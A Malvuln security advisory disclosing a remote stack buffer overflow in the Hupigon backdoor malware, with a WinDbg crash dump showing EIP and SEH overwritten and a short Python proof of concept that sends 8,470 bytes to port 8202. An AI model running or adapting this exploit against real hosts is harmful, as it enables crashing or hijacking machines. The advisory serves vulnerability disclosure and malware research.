Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c38cd09fd5ebd1f0cc378804b2da08c4.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.aaio
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP ports 8200,8201,8202,8203 and UDP ports 8200,8204. Third-party attackers who can reach an infected host can trigger a classic remote buffer overflow by sending a large payload to TCP port 8202. This will overwrite the ECX and EIP stack registers and structured exception handler (SEH).
Type: PE32
MD5: c38cd09fd5ebd1f0cc378804b2da08c4
Vuln ID: MVID-2021-0255 
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 06/20/2021

Memory Dump:
(ce8.ce4): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77909d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1668 ebp=000a1688 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

0:000> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77909d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1668 ebp=000a1688 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.Hupigon.aaio.c38cd09fd5ebd1f0cc378804b2da08c4.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Hupigon.aaio.c38cd09fd5ebd1f0cc378804b2da08c4.exe

FAULTING_IP: 
Backdoor_Win32_Hupigon_aaio_c38cd09fd5ebd1f0cc378804b2da08c4+e7e68
004e7e68 8b8068030000    mov     eax,dword ptr [eax+368h]

EXCEPTION_RECORD:  0019d22c -- (.exr 0x19d22c)
ExceptionAddress: 004e7e68 (Backdoor_Win32_Hupigon_aaio_c38cd09fd5ebd1f0cc378804b2da08c4+0x000e7e68)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 414144a9
Attempt to read from address 414144a9

PROCESS_NAME:  Backdoor.Win32.Hupigon.aaio.c38cd09fd5ebd1f0cc378804b2da08c4.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141 

FOLLOWUP_IP: 
user32!DispatchMessageWorker+0
77138c30 8bff            mov     edi,edi

FAILED_INSTRUCTION_ADDRESS: 
+0
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0019d27c -- (.cxr 0x19d27c)
eax=41414141 ebx=004e7e65 ecx=00000000 edx=026f45f8 esi=00000000 edi=0019dcb4
eip=004e7e68 esp=0019d6dc ebp=0019fce8 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010297
Backdoor_Win32_Hupigon_aaio_c38cd09fd5ebd1f0cc378804b2da08c4+0xe7e68:
004e7e68 8b8068030000    mov     eax,dword ptr [eax+368h] ds:002b:414144a9=????????
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 41414141 to 004e7e68

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

FRAME_ONE_INVALID: 1

STACK_TEXT:  
0019d6dc 004e7e68 backdoor_win32_hupigon_aaio+0xe7e68
0019fcf0 41414141 unknown!printable+0x0
0019fcf4 41414141 unknown!printable+0x0
0019fcf8 41414141 unknown!printable+0x0
0019fcfc 41414141 unknown!printable+0x0
0019fd00 41414141 unknown!printable+0x0
0019fd04 41414141 unknown!printable+0x0
0019fd08 41414141 unknown!printable+0x0
0019fe08 00466640 backdoor_win32_hupigon_aaio+0x66640
0019fe20 0046664f backdoor_win32_hupigon_aaio+0x6664f
0019fe84 771390dc user32!DispatchMessageWorker+0x4ac
026d0fdd 492f5cff unknown!unknown+0x0
026d0fe1 2d03d800 unknown!unknown+0x0
026d0fe5 f01de804 unknown!unknown+0x0
026d0fe9 d680ffff unknown!unknown+0x0
026d0fed 15380044 unknown!unknown+0x0
026d0ff1 10e80428 unknown!unknown+0x0
026d0ff5 78fffff0 unknown!unknown+0x0
026d0ff9 f800468a unknown!unknown+0x0
026d0ffd 00042812 unknown!unknown+0x0


STACK_COMMAND:  .cxr 000000000019D27C ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19d6dc ; kb

SYMBOL_NAME:  user32!DispatchMessageWorker+0

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: user32

IMAGE_NAME:  user32.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  0

FAILURE_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_user32.dll!DispatchMessageWorker

BUCKET_ID:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_user32!DispatchMessageWorker+0

0:000> !exchain
0019fd28: 41414141
Invalid exception stack at 41414141


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=8202

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PAYLOAD="A"*8470
    s.send(PAYLOAD)

    print("Backdoor.Win32.Hupigon.aaio / Remote Stack Buffer Overflow")
    print("MD5: c38cd09fd5ebd1f0cc378804b2da08c4")
    print("By Malvuln")

if __name__=="__main__":
    doit()


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